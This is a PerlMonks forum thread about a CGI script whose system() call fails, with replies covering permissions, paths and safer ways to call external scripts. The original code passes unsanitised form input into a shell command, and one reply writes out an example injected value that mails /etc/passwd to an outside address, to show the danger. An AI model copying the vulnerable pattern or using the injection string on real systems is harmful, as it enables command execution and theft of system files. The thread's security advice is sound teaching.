neversaint has asked for the wisdom of the Perl Monks concerning the following question:

Dear Masters,
Here is a simple executable cgi script that simply: But why the exec/system doesn't do the job? Namely, the file is not created.

The permission in the "../results" directory also already cleared (please see below).
#!/usr/bin/perl -w # This file name is: gettext_n_print.cgi use CGI qw/:standard :html3/; use CGI::Carp qw( fatalsToBrowser ); print header, start_html('Deploying Exec/System with CGI'), h1('Testing System/Exec function with CGI'); print_form() unless param; print_results_to_file() if param; print end_html; sub print_form { print start_multipart_form(), strong('Your text: '), textfield( -name => 'user_text' ), br, br submit(-label=>'Submit'), end_form; } sub print_results_to_file { my $param1 = param('user_text'); print "This text _should_ be printed to the file : ",br,br; print $param1,br; # But this system/exec call doesn't do the job? Why? system("perl prn_to_file.pl $param1 > ../results/output.txt"); # And these two also don't work # system("echo $param1 > ../results/output.txt"); # exec("perl prn_to_file.pl $param1 > ../results/output.txt"); # In actual practice I have to make several systems call for # a more complex perl script than just printing text like taking # output.txt as arg of another script like this: # system("perl other_code.pl output.txt > ../results/final.out2"); }
And prn_to_file.pl script is just simple like this:
#!/usr/bin/perl -w use strict; my $text = $ARGV[0]; print "THIS IS YOUR INPUT TEXT: $text\n";
This cgi script resides in cgi-bin. The overall permission looks like this:
under "public_html/somedir/" I have: drwxrwxr-x 2 myname myname 4096 Jul 19 14:29 cgi-bin drwxrwxr-x 2 myname myname 4096 Jul 19 14:29 results and under "cgi-bin/" I have: -rwxr-xr-x 1 myname myname 1506 Jul 19 14:29 gettext_n_print.cgi -rwxr-xr-x 1 myname myname 292 Jul 19 13:56 prn_to_file.pl
I've supersearched the topic and also tried to follow relevant suggestion there (like permission setting), but still I can't resolve the problem.


---
neversaint and everlastingly indebted.......

Replies are listed 'Best First'.
Re: Failed System/Exec Call under Right Permission with CGI
by McDarren (Abbot) on Jul 19, 2006 at 08:18 UTC
    system("perl prn_to_file.pl $param1 > ../results/output.txt");

    So if I visit your website, and my name happens to be: "; cat /etc/passwd | mail foo@bar.com ;" - what do you think will happen?

    Possibly nothing, if your webuser doesn't have sufficient privileges - but I'm sure you get the idea. Calling the single-argument form of system from within a CGI script, and using data that hasn't been taint-checked is pretty-much like putting a sign up saying "Here I am - come and own me".

    I think you're going about this the wrong way. Firstly, if you're going to be accepting data from the outside world (ie. your users), enable taint checking and validate your input. merlyn has a very good article that covers this.

    Secondly, why bother calling an external script in the first place? What's wrong with simply writing to the output file from within the same script?

      Dear McDarren,
      You are right about the "taint" checking. But this is just a simplified example of the larger application I have. I am simply localizing the problem.
      Secondly, why bother calling an external script in the first place? What's wrong with simply writing to the output file from within the same script?
      As I mentioned inside the snippet. I have several perl scripts that interacts with each other (e.g. taking output as arg of another script). Putting them together would clutter the code and make it hard to maintain.

      ---
      neversaint and everlastingly indebted.......
        Right. Well you need to decide whether you want system or exec. Although they are used in similar ways, their behaviour is very different. exec will terminate the current program, execute the external command - and never return. If that's not what you want, then use system.

        Next thing is to use the multi-arg form of system. This bypasses shell processing and hence protects against the scenario I alluded to above. So you'll want something like this:

        my @args = ('/path/to/prn_to_file.pl', $param1, '/path/to/results/outp +ut.txt'); system(@args) == 0 or die "Blah blah...:$!\n";

        Three things to note:

        1. system will use the first argument in the list as the external command to be executed, and the remaining arguments will be passed to that command. So obviously in the above example, prn_to_file.pl needs to expect two arguments and know what to do with them.
        2. system will return the exit status of the external command (not its output) - so the "or die" may have to be adjusted accordingly.
        3. You should supply the full pathnames to any external commands or scripts. (This is probably why your initial attempts were failing, but I've deliberately left this point till last).

        Cheers,
        Darren :)

        Update: - fixed code example (thanks Corion).

        I have several perl scripts that interacts with each other
        There might be no need for system or exec, then. See do FILE and require. You can handle all perl code in one single interpreter instance.

        --shmem

        _($_=" "x(1<<5)."?\n".q·/)Oo.  G°\        /
                                      /\_¯/(q    /
        ----------------------------  \__(m.====·.(_("always off the crowd"))."·
        ");sub _{s./.($e="'Itrs `mnsgdq Gdbj O`qkdq")=~y/"-y/#-z/;$e.e && print}
Re: Failed System/Exec Call under Right Permission with CGI
by bart (Canon) on Jul 20, 2006 at 07:43 UTC
    You're passing data on the command line without any quoting. In case it doesn't look like anything malicious was attempted, this will only get the first word into your script.

    In other words: make your whole text your first parameter. Quote it.

    If on Unix — and it looks like you are — then take a look at String::ShellQuote. It looks to me like that's a safe catch-all way to get your whole string into your script.

    Another way to make sure your data gets though uncorrupted, is to use piping. Make the data come through the child script's STDIN. Thus, replace

    system("perl prn_to_file.pl $param1 > ../results/output.txt");
    with
    open SYSTEM, "| perl prn_to_file.pl > ../results/output.txt"); print SYSTEM $param1; close SYSTEM;
    Untested, but basically, something like that.

    And finally, I think nothing works just because your user has no rights to write to the "../results" directory — I bet the CGI isn't run under the user name "myname". That's what permissions "drwxrwxr-x" tell me: no "w" for "world".

Re: Failed System/Exec Call under Right Permission with CGI
by shmem (Chancellor) on Jul 20, 2006 at 06:30 UTC
    For debugging, I'd recommend using Cwd, output the current working directory of your script to STDERR and check in the apache error log where your cwd and .. end up.

    You can be goofed on the path e.g. by

    • Alias directives - Alias cgi-bin "/path/to/cgi"
    • symlinks
    • chroot environment

    Also, your directories belong to myname:myname (user:group) and their flags are drwxrwxr-x, so they are likely not writeable by apache (if apache doesn't run with UID/GID of myname).

    If you want to execute the cgi scripts on behalf of another user than the one apache is running under, have a look at suexec (link points to apache 1.3 doc).

    --shmem

    _($_=" "x(1<<5)."?\n".q·/)Oo.  G°\        /
                                  /\_¯/(q    /
    ----------------------------  \__(m.====·.(_("always off the crowd"))."·
    ");sub _{s./.($e="'Itrs `mnsgdq Gdbj O`qkdq")=~y/"-y/#-z/;$e.e && print}
Re: Failed System/Exec Call under Right Permission with CGI
by Moron (Curate) on Jul 19, 2006 at 15:49 UTC
    It seems possible that you didn't configure the results path for the webserver. If the Perl script works when run from the command line, but not from the browser, then this is a big clue. For example, if your webserver is Apache 1.3, then an alias is one way of configuring a path rather than relying only on path specification from the script.

    -M

    Free your mind